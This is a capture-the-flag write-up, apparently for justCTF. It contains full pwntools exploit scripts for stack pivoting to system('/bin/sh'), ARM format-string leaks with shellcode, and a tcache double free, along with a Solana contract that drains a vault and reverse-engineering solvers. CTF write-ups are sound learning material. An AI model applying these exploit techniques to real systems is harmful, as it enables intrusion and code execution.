p.sendline(f"w {vault_pubkey}") 
p.sendline(f"ws {user_pubkey}") 
p.sendline(f"r {program_pubkey}")
p.sendline(f"w {solve_pubkey}")
# ix

buf= p8(balances_bump_seed) + p8(vault_bump_seed) + p8(solfire_bump_seed)

#p.recvuntil('ix len:')
p.sendline(str(len(buf)))
p.send(buf)
ix_data = b''
p.sendline(str(len(ix_data)))
p.send(ix_data)
print(p.recvall().decode())
# p.interactive()
# picoCTF{=========}

Contract:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
/**
* @brief C-based hacker BPF program
*/
#include <solana_sdk.h>
// required order of params
#define CLOCK 0
#define SYSTEM 1
#define LEDGER 2
#define VAULT 3
#define USER 4
#define SOLFIRE 5
#define SOLVE 6

typedef struct {
  uint16_t idx;
  uint16_t amt;
  uint8_t bump;
} withdraw_args;
typedef struct {
  uint16_t idx;
  uint16_t amt;
} deposit_args;

typedef struct {
  uint16_t deposit;
  uint16_t withdraw;
} Pocket;

#define POCKET_CNT 10


typedef struct {
  Pocket pockets[POCKET_CNT]; 
} Wallet;


typedef struct {
  uint64_t lamports;
  uint64_t space;
  SolPubkey owner;
} create_account_sys;


void solfire_create1(SolParameters *params, uint8_t ledger_nonce) {//ledger is wallet
    sol_log("create!");
    uint8_t seed[] = { 'w', 'a', 'l', 'l', 'e', 't', 'x' };
    seed[6] = ledger_nonce;
    const SolSignerSeed seeds[] = {{seed, SOL_ARRAY_SIZE(seed)}};
    const SolSignerSeeds signers_seeds[] = {{seeds, SOL_ARRAY_SIZE(seeds)}};
    SolAccountMeta arguments[] = {
        {params->ka[USER].key /* user */, true, true},
        {params->ka[LEDGER].key /* ledger */, true, true}
    };

    uint8_t data[4 + sizeof(create_account_sys)];            // Enough room for the Allocate instruction
    sol_memset(data, 0, sizeof(data));
    *(uint16_t *)data = 0;
    create_account_sys* data_args = (create_account_sys*) (data + 4);
    data_args->lamports = 1;
    data_args->space = sizeof(Wallet);

    sol_memcpy(&data_args->owner, params->program_id, sizeof(SolPubkey));
    const SolInstruction instruction = {params->ka[SYSTEM].key, arguments,
                                      SOL_ARRAY_SIZE(arguments), data,
                                      SOL_ARRAY_SIZE(data)};
  sol_invoke_signed(&instruction, params->ka, params->ka_num,
                           signers_seeds, SOL_ARRAY_SIZE(signers_seeds));
}

void solfire_create2(SolParameters *params, uint8_t ledger_nonce) {//ledger is wallet
    sol_log("create");
    // There must be exactly 5 addresses
    SolAccountMeta meta[] = {
        {params->ka[CLOCK].key /* clock */, false, false},
        {params->ka[SYSTEM].key /* system */, false, false}, /* must be system */
        {params->ka[LEDGER].key /* ledger */, true, false}, /* "ledger" -must be writeable, must be owned */
        {params->ka[USER].key /* user */, true, true}, /* receiving account - must be writeable */
        {params->ka[USER].key /* vault */, true, true}, /*must be vault,must be writable*/
    };
    uint8_t data[5] = {0};
    data[4] = ledger_nonce;
    const SolInstruction instruction = {
        params->ka[SOLFIRE].key /*program */,
        meta, SOL_ARRAY_SIZE(meta),
        data, SOL_ARRAY_SIZE(data)
    };
    sol_invoke_signed(&instruction, params->ka, params->ka_num, (SolSignerSeeds*)0, 0);
}





void solfire_deposit(SolParameters *params, uint8_t ledger_nonce) {
    sol_log("deposit:1");
    // There must be exactly 5 addresses
    
    uint8_t seed[] = { 'w', 'a', 'l', 'l', 'e', 't', 'x' };
    seed[6] = ledger_nonce;
    const SolSignerSeed seeds[] = {{seed, SOL_ARRAY_SIZE(seed)}};
    const SolSignerSeeds signers_seeds[] = {{seeds, SOL_ARRAY_SIZE(seeds)}};
    
    SolAccountMeta meta[] = {
        {params->ka[CLOCK].key /* clock */, false, false},
        {params->ka[SYSTEM].key /* system */, false, false}, /* must be system */
        {params->ka[LEDGER].key /* ledger */, true, false}, /* "ledger" - must be writeable, must be owned */
        {params->ka[USER].key /* user */, true, true}, /* funding account- must be writeable, must be signed */
        {params->ka[USER].key /* user */, true, false}, /* receiving account, must be writable*/
    };
    sol_log("deposit:2");
    uint8_t data[8] = {0};
    data[0] = 1;
    data[4] = 1;
    data[6] = 5;
    const SolInstruction instruction = {params->ka[SOLFIRE].key /*program */,meta, SOL_ARRAY_SIZE(meta),data, SOL_ARRAY_SIZE(data)};
    sol_log("deposit:3");
    sol_invoke_signed(&instruction, params->ka, params->ka_num, signers_seeds, SOL_ARRAY_SIZE(signers_seeds));
    //sol_invoke_signed(&instruction, params->ka, params->ka_num, (SolSignerSeeds*)0, 0);
    sol_log("deposit:4");
}







void solfire_withdrawl1(SolParameters *params, uint8_t vault_nonce) {
    sol_log("withDraw2");
    // There must be exactly 5 addresses
    SolAccountMeta meta[] = {
        {params->ka[CLOCK].key /* clock */, false, false},
        {params->ka[SYSTEM].key /* system */, false, false}, /* must be system */
        {params->ka[LEDGER].key /* ledger */, true, false}, /* "ledger" -must be writeable, must be owned */
        {params->ka[USER].key /* user */, true, true}, /* receiving account - must be writeable */
        {params->ka[VAULT].key /* vault */, true, false}, /*must be vault,must be writable*/
    };
    uint8_t data[4 + sizeof(withdraw_args)];
    sol_memset(data, 0, sizeof(data));
    *(uint32_t *)data = 2;
    withdraw_args* data_args = (withdraw_args*) (data + 4);
    data_args->idx = 1;
    data_args->amt = 2;
    data_args->bump = vault_nonce;
    const SolInstruction instruction = {
        params->ka[SOLFIRE].key /*program */,
        meta, SOL_ARRAY_SIZE(meta),
        data, SOL_ARRAY_SIZE(data)
    };
    sol_invoke_signed(&instruction, params->ka, params->ka_num, (SolSignerSeeds*)0, 0);
}
void solfire_withdrawl2(SolParameters *params, uint8_t vault_nonce) {
    sol_log("withDraw2");
    // There must be exactly 5 addresses
    SolAccountMeta meta[] = {
        {params->ka[CLOCK].key /* clock */, false, false},
        {params->ka[SYSTEM].key /* system */, false, false}, /* must be system */
        {params->ka[LEDGER].key /* ledger */, true, false}, /* "ledger" -must be writeable, must be owned */
        {params->ka[USER].key /* user */, true, true}, /* receiving account - must be writeable */
        {params->ka[VAULT].key /* vault */, true, false}, /*must be vault,must be writable*/
    };
    uint8_t data[4 + sizeof(withdraw_args)];
    sol_memset(data, 0, sizeof(data));
    *(uint32_t *)data = 2;
    withdraw_args* data_args = (withdraw_args*) (data + 4);
    data_args->idx = 1;
    data_args->amt = 0xffff;
    data_args->bump = vault_nonce;
    const SolInstruction instruction = {
        params->ka[SOLFIRE].key /*program */,
        meta, SOL_ARRAY_SIZE(meta),
        data, SOL_ARRAY_SIZE(data)
    };
    sol_invoke_signed(&instruction, params->ka, params->ka_num, (SolSignerSeeds*)0, 0);
}

uint64_t hacker(SolParameters *params) {
   
    uint8_t ledger_nonce = params->data[0];
    uint8_t vault_nonce = params->data[1];
    uint8_t solfire_nonce = params->data[2];
    sol_log("start hacking!");
    solfire_create2(params,ledger_nonce);
    
    solfire_deposit(params,ledger_nonce);
    
    solfire_withdrawl1(params,vault_nonce);
    solfire_withdrawl2(params,vault_nonce);
    
    sol_log("[+] pwned");
    return SUCCESS; 
}
extern uint64_t entrypoint(const uint8_t *input) {
    sol_log("[+] Hacker welcome");
    SolAccountInfo accounts[7];
    SolParameters params = (SolParameters){.ka = accounts};
    if (!sol_deserialize(input, &params, SOL_ARRAY_SIZE(accounts))) {
        return ERROR_INVALID_ARGUMENT;
    }
    return hacker(&params);
}

Skilltest

Stack Overflow in glibc2.34.
There are no gadgets to do ret2csu in this program and only ‘pop rdi; nop; leave; ret;’.
No ‘pop rdi; ret;’, no ‘pop rsi; ret;’ , no ‘pop rdx; ret;’.
Then we find 0x40140B to do stack pivoting, leak libc and return ‘start’.
Then stack pivoting twice to do system("/bin/sh").

.text:000000000040140B                 mov     rdx, rax        ; n
.text:000000000040140E                 mov     rax, [rbp+s]
.text:0000000000401412                 mov     rsi, rax        ; buf
.text:0000000000401415                 mov     edi, 1          ; fd
.text:000000000040141A                 call    _write
.text:000000000040141F                 nop
.text:0000000000401420                 leave
.text:0000000000401421                 retn
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#coding:utf-8

from pwn import *
import sys,os,string,base64

elf_path = './skilltest'
remote_libc_path = './libc-2.34.so'

P = ELF(elf_path)
context(os='linux',arch='amd64')
#context.terminal = ['terminator','-x','sh','-c']
context.terminal = ['tmux','split','-h']
context.log_level = 'debug'

if sys.argv[1] == 'local':
        p = process(elf_path)
        if context.arch == 'amd64':
                libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        else:
                libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
        p = remote('skilltest.nc.jctf.pro',1337)
        libc = ELF(remote_libc_path)

#gdb.attach(p)
p.recvuntil('Nick: ')
pop_rdi = 0x4018DC
leave = 0x4018DE
p.send(b'\x11'*0x28+p64(0x3ff000)+p64(0xdeadbeef)*2+p64(0x3ff000)+p64(leave))

p.recvuntil('tag: ')
payload = p64(0x3ff018)
payload+= p64(0x40140B)
payload+= p64(P.got['write'])
payload+= p64(0xdeadbeef)
payload+= p64(0x4011F0)
p.send(payload)

p.recvuntil('ks\n')
libcbase = u64(p.recvn(6).ljust(8,b'\x00'))-libc.sym['write']
log.success('libcbase = '+hex(libcbase))

#gdb.attach(p)
p.recvuntil('Nick: ')
payload = b'\x11'*0x28+p64(0x3ff000)
payload+= p64(0xdeadbeef)*2+p64(0x3ff000-8)+p64(leave)
p.send(payload)

p.recvuntil('tag: ')
p.send(p64(libcbase+0x000000000002a6c5)+p64(libcbase+next(libc.search(b'/bin/sh')))+p64(libcbase+libc.sym['system']))

p.interactive()

arm

Stack overflow and Formatting string vulnerability in armv8/aarch64.

  1. Leak stack address with Formatting string vulnerability.
  2. Run short read shellcode(need the help of current register context) to bypass the filter and read real shellcode to stack with stack overflow.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#coding:utf-8
from pwn import *
import sys,os

if sys.argv[1] == 'local':
        p = process(['qemu-aarch64-static','-L','/usr/aarch64-linux-gnu/','./cli'])
elif sys.argv[1] == 'debug':
        p = process(['qemu-aarch64-static','-g','1234','-L','/usr/aarch64-linux-gnu/','./cli'])
elif sys.argv[1] == 'remote':
        p = remote('arm.nc.jctf.pro',5002)

context(os='linux', arch='aarch64')
context.log_level = 'debug'

def cmd(cmd):
        p.sendlineafter(b'> ', cmd)

#b *0x5500000C2C
p.recvuntil(b': ')
p.sendline(b'admin')
p.recvuntil(b': ')
p.sendline(b'admin1')

cmd(b'mode advanced')

payload = b'echo '
payload+= b'%12$p' 
cmd(payload)
stack = int(p.recvuntil('\n',drop=True),16)
log.success('stack = '+hex(stack))

shellcode = asm('''
mov x2,#256;
mov x1,x26;
sub x1,x1,#{};
mov x8,#SYS_read;
svc 0x1337;
'''.format(0x330-(0x4a0-0x358)+4)).ljust(0x70,b'a')

payload = b'echo '
payload+= shellcode
payload+= p64(stack+(0x3488-0x33b0))
cmd(payload)

cmd(b'exit')

raw_input()
p.send(asm(shellcraft.sh()))

p.interactive()

notes

Double free in libc 2.31.
Leak libc by unsorted bin.
Free a chunk in fastbin when tcache isn’t full, the chunk will be put into tcache, achieving double free.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3
from pwn import *
context.log_level = 'debug'
if args.R:
    p = remote('notes.nc.jctf.pro', 5001)
else:
    p = process('./notes', env = {'LD_PRELOAD':'./libc-2.31.so'})

size = -1 

def add(p,size,content):
    p.sendlineafter(b'> ',b'1')
    p.sendlineafter(b'size: ',str(size))
    p.sendlineafter(b'content: ',content)

def remove(p,idx):
    p.sendlineafter(b'> ',b'2')
    p.sendlineafter(b'note id: ',str(idx))

def show(p,idx):
    p.sendlineafter(b'> ',b'3')
    p.sendlineafter(b'note id: ',str(idx))
    return p.recvline().strip()

if __name__ == '__main__':
    p.sendlineafter(b'How many notes you plan to use? (0-10): ', str(size))
    for i in range(8):
        add(p, 0xf0,bytes([i]*8))
    for i in range(8):
        add(p, 0x60,bytes([i]*8))
    for i in range(8):
        remove(p,i)
    t = show(p,7)
    libc_base = u64(t.ljust(8,b'\x00')) - 0x1ecbe0
    free_hook = libc_base + 0x1eee48
    malloc_hook = libc_base + 0x1ecb70
    system_addr = libc_base + 0x52290
    print('libc_base : %s' % hex(libc_base))

    for i in range(8):
        remove(p,i+8)
    add(p,0x60,'tcache') #16
    remove(p,15)
    add(p,0x60,p64(free_hook - 0x10)) #17
    for i in range(7):
        add(p,0x60,b'/bin/sh\x00')
    # pause()
    add(p,0x60,p64(system_addr))
    remove(p,20)
    p.interactive()

Re

I’m slow

Function print_flag will calculate every flag character slowly and print it, so we need to analyze the logic to calculate flag and implement it in a faster way.
The type of global variable atad is std::vector< std::pair<unsigned int, unsigned int> >[304], the simplified struct declaration (for IDA):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
struct std::pair::uint_uint { // std::pair<unsigned int, unsigned int>
        unsigned int first;
        unsigned int second;
};

struct std::vector::__pair__uint_uint // std::vector< std::pair<unsigned int, unsigned int> >
{
        std::pair::uint_uint *start;
        std::pair::uint_uint *finish;
        std::pair::uint_uint *end_of_storage;
};

Function print_flag is a big loop. During a single loop, every 4 vectors of pairs are read from atad, and then expand every vector(containing pairs) to a vector of unsigned int, which the function g_func does. For example, the input vector of pairs ((1, 4), (7, 11), (22, 25)) would be expanded to a vector of numbers (1, 2, 3, 4, 7, 8, 9, 10, 11, 22, 23, 24, 25).
After expansion, the 4 different vectors will be passed to 4 different functions, ab_func<unsigned int,std::less<void>> (return the minimum value), ab_func<unsigned int,std::greater<void>> (return the maximum value), c_func<unsigned int,std::less<void>> (quick_sort, to get the median later), d_func<unsigned int> (shown below with python code)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
def func(vector):
        table = []
        for i in vector:
                table.append(0)
                if isPrime(i):
                        for j in vector:
                                if j % i == 0:
                                        table[-1] += 1
        # print(max(table))
        return vector[table.index(max(table))]

So we can just dump the value of atad and calculate flag in a faster way. Use gdb to debug, breakpoint at main, run, then dump memory ./dumped_5f9500_608a08 0x5f9500 0x608a08.
Final python script to calculate flag:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/python2

from Crypto.Util.number import isPrime

def func_a(vector):
        return min(vector)

def func_b(vector):
        return max(vector)

def func_c(vector):
        vector = list(sorted(vector))
        return vector[len(vector) / 2]

def func_d(vector):
        table = []
        for i in vector:
                table.append(0)
                if isPrime(i):
                        for j in vector:
                                if j % i == 0:
                                        table[-1] += 1
        return vector[table.index(max(table))]

def func0(a, b, c, d, e):
        return (d ^ ((a * b + e * 0x1337) / c)) % 128

pairs_vector = []

# read from dump
def qword(data, index):
        x = 0
        for i in range(8):
                x |= ord(data[index + i]) << (8 * i)
        return x

def dword(data, index):
        x = 0
        for i in range(4):
                x |= ord(data[index + i]) << (8 * i)
        return x

data = open('./dumped_5f9500_608a08', 'rb').read()

base = 0x5f9500

for i in range(304):
        pairs_vector.append([])
        start = qword(data, i * 24) - base
        end = qword(data, i * 24 + 8) - base
        assert 0 < start < len(data) and 0 < end <= len(data)
        while start < end:
                pairs_vector[-1].append([dword(data, start), dword(data, start + 4)])
                start += 8

# assert len(pairs_vector) == 304

flag = ''

def gen_vector(pairs):
        x = []
        for pair in pairs:
                assert pair[0] <= pair[1]
                x += list(range(pair[0], pair[1] + 1))
        return x

for i in range(0, 304, 4):
        a = func_a(gen_vector(pairs_vector[i]))
        b = func_b(gen_vector(pairs_vector[i + 1]))
        c = func_c(gen_vector(pairs_vector[i + 2]))
        d = func_d(gen_vector(pairs_vector[i + 3]))
        flag += chr(func0(a, b, c, d, i / 4))
        print(flag)

# print(flag)

It still takes some time. Flag printed: justCTF{1_4m_5l0w_4nd_7h3_fl4gO15_l0ng_bu7_1_h0p3_y0u_0b53rv3d_m3_c4r3fu11G}
Fixed some typos: justCTF{1_4m_5l0w_4nd_7h3_fl4g_15_l0ng_bu7_1_h0p3_y0u_0b53rv3d_m3_c4r3fu11y}

AMXX

encoder.amxx has self-modify, so before reverse we need patch it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# patch.py
import zlib
import struct

data1 = bytes.fromhex(
    '2e00000089000000890000002c0000007cffffff590000000e0000007cffffff7700000084000000890000002c000000fcffffff2700000020000000850000007cffffff290000000c000000270000000c0000007b000000080000002c000000100000001100000078ffffff8900000027000000000000002700000000000000330000001c0a0000890000006e00000074ffffff0300000074ffffff040000001400000040000000c40a0000890000000300000074ffffff04000000100000001b0000002400000009000000240000000d0000007cffffff240000000300000070ffffff6e00000070ffffff79000000200000002b0000001b000000090000002b000000530000002b00000017000000890000000300000078ffffff0400000070ffffff4a000000210000001100000070ffffff33000000100a00002c0000000800000089000000270000000000000033000000fc0a0000890000000300000074ffffff57000000020000001100000074ffffff0300000074ffffff57000000010000002200000003000000140000003e0000003c0c0000890000000300000074ffffff04000000100000001b0000002400000009000000240000000300000010000000240000000300000074ffffff57000000010000002b0000001b000000090000002b000000530000002b00000017000000890000000300000010000000240000000300000074ffffff57000000010000002b0000001b0000002400000009000000240000000300000074ffffff04000000100000001b000000090000002b000000530000002b00000017000000890000000300000074ffffff04000000100000001b0000002400000009000000240000000300000010000000240000000300000074ffffff57000000010000002b0000001b000000090000002b000000530000002b0000001700000033000000e00a00002c000000040000008900000003000000140000002c0000008800000030000000'
)
data2 = bytes.fromhex(
    '2e0000008900000089000000270000000000000089000000270000000000000033000000e40f0000890000006e000000f8ffffff03000000f8ffffff040000001000000040000000ac1000008900000085000000fcffffff2d000000000400002500000003000000f8ffffff040000000c0000001b0000002400000027000000c403000027000000080000007b000000000000002c0000000c0000002a00000024000000280000002c040000270000000c0000007b000000070000002c000000100000002d00000000fcffff8900000003000000f8ffffff040000000c0000001b0000002200000003000000fcffffff1700000033000000d80f00002c000000040000008900000003000000100000002c0000000400000030000000'
)
data3 = bytes.fromhex(
    '2e00000089000000890000002c000000fcffffff27000000d803000027000000040000007b000000090000002c0000000800000011000000fcffffff89000000270000000000000033000000b4120000890000006e000000f8ffffff03000000f8ffffff0400000010000000400000007c1300008900000003000000fcffffff2400000003000000f8ffffff040000000c0000001b0000000900000058000000adde00002b0000004e00000011000000fcffffff8900000003000000fcffffff570000000100000011000000fcffffff890000000b0000000010000004000000fcffffff4a0000002100000011000000fcffffff8900000003000000f8ffffff040000000c0000001b0000002200000003000000fcffffff1700000033000000a81200002c000000040000008900000003000000100000002c0000000400000030000000'
)


with open('encoder.amxx', 'rb') as f:
    raw = f.read()

header = raw[:0x18]
data = raw[0x18:]
raw_data = zlib.decompress(data)
raw_data = bytearray(raw_data)
assert raw_data[0x360 + 8] == 0x2e


def patch(start, data, offset):
    assert len(data) % 4 == 0
    l = len(data) // 4
    fmt = '<' + 'I' * l
    unpacked = list(struct.unpack(fmt, data))
    i = 0
    while i < len(unpacked):
        x = unpacked[i]
        if x in [49, 51, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 129]:
            unpacked[i + 1] += offset
            i += 1
        i += 1
    new_data = struct.pack(fmt, *unpacked)

    for i, x in enumerate(new_data):
        raw_data[start + i] = x

encode1_start = 2404 + 0x360
encode2_start = 3256 + 0x360
encode3_start = 3652 + 0x360

patch(encode1_start, data1, -2440 + 2404)
patch(encode2_start, data2, -4016 + 3256)
patch(encode3_start, data3, -4696 + 3652)

compressed = zlib.compress(raw_data)
with open('patched.amxx', 'wb') as f:
    f.write(header[:8])
    f.write(struct.pack('<I', len(compressed)))
    f.write(header[8 + 4:])
    f.write(compressed)
print(f'compressed size: {len(compressed):x}')

Then we can use amxxdump.exe dump the bytecode. Here is my dump and comments:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430

0x964                      PROC              ; public encode1(id,password[],password_len)
0x968                     BREAK 
0x96C                     BREAK 
0x970                     STACK  0xFFFFFF7C  ; allocate 33 cells
0x978                  ZERO.pri 
0x97C                  ADDR.alt  0xFFFFFF7C 
0x984                      FILL  0x84        ; 33 cells
0x98C                     BREAK 
0x990                     STACK  0xFFFFFFFC  ; allocate 1 cells
0x998                    PUSH.C  0x20       
0x9A0                  PUSH.ADR  0xFFFFFF7C  ; name[33]
0x9A8                    PUSH.S  0xC         ; id
0x9B0                    PUSH.C  0xC        
0x9B8                  SYSREQ.C  0x8         ; get_user_name
0x9C0                     STACK  0x10        ; free 4 cells
0x9C8                STOR.S.pri  0xFFFFFF78  ; nick_len
0x9D0                     BREAK 
0x9D4                    PUSH.C  0x0        
0x9DC                    PUSH.C  0x0        
0x9E4                      JUMP  0x9F8     


0x9EC                     BREAK 
0x9F0                     INC.S  0xFFFFFF74  ; 
                                             ; new i


0x9F8                LOAD.S.pri  0xFFFFFF74  ; i
0xA00                LOAD.S.alt  0x14        ; password_len
0xA08                     JSGEQ  0xAA0      
0xA10                     BREAK 
0xA14                LOAD.S.pri  0xFFFFFF74  ; i
0xA1C                LOAD.S.alt  0x10        ; password[]
0xA24                   IDXADDR             ;pri=pw+i
0xA28                  PUSH.pri ;a6c
0xA2C                    LOAD.I             ;pri=pw[i]
0xA30                  PUSH.pri ;a64
0xA34                  ADDR.pri  0xFFFFFF7C  ; name[33]
0xA3C                  PUSH.pri ;a58
0xA40                LOAD.S.pri  0xFFFFFF70  ; v
0xA48                     INC.S  0xFFFFFF70  ; v ;v++
0xA50                    BOUNDS  0x20       
0xA58                   POP.alt             ;alt=name
0xA5C                   IDXADDR             ;pri=name+v
                                             ; new v
0xA60                    LOAD.I             ;pri=name[v]
0xA64                   POP.alt             ;alt=pw[i]
0xA68                       XOR             ;pri=name[v]^pw[i]
0xA6C                   POP.alt             ;alt=pw+i
0xA70                    STOR.I             ;[pw+i]=name[v]^pw[i]
0xA74                     BREAK 
0xA78                LOAD.S.pri  0xFFFFFF78  ; nick_len
0xA80                LOAD.S.alt  0xFFFFFF70  ; v
0xA88                  SDIV.alt 
0xA8C                  MOVE.pri 
0xA90                STOR.S.pri  0xFFFFFF70  ; v
0xA98                      JUMP  0x9EC      




0xAA0                     STACK  0x8         ; free 2 cells
0xAA8                     BREAK 
0xAAC                    PUSH.C  0x0        
0xAB4                      JUMP  0xAD8      

0xABC                     BREAK 
0xAC0                LOAD.S.pri  0xFFFFFF74  ; i
0xAC8                     ADD.C  0x2         ; signed:  2
0xAD0                STOR.S.pri  0xFFFFFF74  ; i


0xAD8                LOAD.S.pri  0xFFFFFF74  ; i
0xAE0                     ADD.C  0x1         ; signed:  1
0xAE8                  MOVE.alt 
0xAEC                LOAD.S.pri  0x14        ; password_len
0xAF4                     JSLEQ  0xC18      ;len<=i+1

0xAFC                     BREAK 
0xB00                LOAD.S.pri  0xFFFFFF74  ; i
0xB08                LOAD.S.alt  0x10        ; password[]
0xB10                   IDXADDR             ;pri=pw+i
0xB14                  PUSH.pri ;b50
0xB18                    LOAD.I             ;pri=pw[i]
0xB1C                  PUSH.pri ;b48
0xB20                LOAD.S.pri  0x10        ; password[]
0xB28                  PUSH.pri ;b3c
0xB2C                LOAD.S.pri  0xFFFFFF74  ; i
0xB34                     ADD.C  0x1         ; signed:  1
0xB3C                   POP.alt             ;alt=pw
0xB40                   IDXADDR             ;pri=pw+i+1
                                             ; new i
0xB44                    LOAD.I             ;pri=pw[i+1]
0xB48                   POP.alt             ;alt=pw[i]
0xB4C                       XOR             ;pri=pw[i]^pw[i+1]
0xB50                   POP.alt             ;alt=pw+i
0xB54                    STOR.I             ;pw[i]=pw[i]^pw[i+1]
0xB58                     BREAK 
0xB5C                LOAD.S.pri  0x10        ; password[]
0xB64                  PUSH.pri             ;pri=pw
0xB68                LOAD.S.pri  0xFFFFFF74  ; i
0xB70                     ADD.C  0x1         ; signed:  1
0xB78                   POP.alt             ;alt=pw
0xB7C                   IDXADDR             ;pri=pw+i+1
0xB80                  PUSH.pri 
0xB84                    LOAD.I             ;pri=pw[i+1]
0xB88                  PUSH.pri 
0xB8C                LOAD.S.pri  0xFFFFFF74  ; i
0xB94                LOAD.S.alt  0x10        ; password[]
0xB9C                   IDXADDR             ;pri=pw+i
0xBA0                    LOAD.I             ;pri=pw[i]
0xBA4                   POP.alt             ;alt=pw[i+1]
0xBA8                       XOR             ;pri=pw[i]^pw[i+1]
                                             ; new v
0xBAC                   POP.alt             ;alt=pw+i+1
0xBB0                    STOR.I             ;pw[i+1]=pw[i]^pw[i+1]
0xBB4                     BREAK 
0xBB8                LOAD.S.pri  0xFFFFFF74  ; i
0xBC0                LOAD.S.alt  0x10        ; password[]
0xBC8                   IDXADDR 
0xBCC                  PUSH.pri 
0xBD0                    LOAD.I 
0xBD4                  PUSH.pri 
0xBD8                LOAD.S.pri  0x10        ; password[]
0xBE0                  PUSH.pri 
0xBE4                LOAD.S.pri  0xFFFFFF74  ; i
0xBEC                     ADD.C  0x1         ; signed:  1
0xBF4                   POP.alt 
0xBF8                   IDXADDR 
0xBFC                    LOAD.I 
0xC00                   POP.alt 
0xC04                       XOR 
0xC08                   POP.alt 
0xC0C                    STOR.I 
0xC10                      JUMP  0xABC      


0xC18                     STACK  0x4         ; free 1 cells
0xC20                     BREAK 
0xC24                LOAD.S.pri  0x14        ; password_len
0xC2C                     STACK  0x88        ; free 34 cells
0xC34                      RETN 



0xCB8                      PROC              ; public encode2(password[],password_len)
0xCBC                     BREAK 
0xCC0                     BREAK 
0xCC4                    PUSH.C  0x0        
0xCCC                     BREAK 
0xCD0                    PUSH.C  0x0        
0xCD8                      JUMP  0xCEC      


0xCE0                     BREAK 
0xCE4                     INC.S  0xFFFFFFF8  ; i ;i++


0xCEC                LOAD.S.pri  0xFFFFFFF8  ; i
0xCF4                LOAD.S.alt  0x10        ; password_len
0xCFC                     JSGEQ  0xDB4      ;i==len(pw)

0xD04                     BREAK 
                                             ; new i
0xD08                  PUSH.ADR  0xFFFFFFFC  ; b
0xD10                      HEAP  0x400      ;alt=heap


0xD18                  PUSH.alt 
0xD1C                LOAD.S.pri  0xFFFFFFF8  ; i
0xD24                LOAD.S.alt  0xC         ; password[]
0xD2C                   IDXADDR             ;pri=pw+i
0xD30                  PUSH.pri 
0xD34                    PUSH.C  0x3C4      ; "%02x"
0xD3C                    PUSH.C  0x8        
0xD44                  SYSREQ.C  0x0         ; fmt
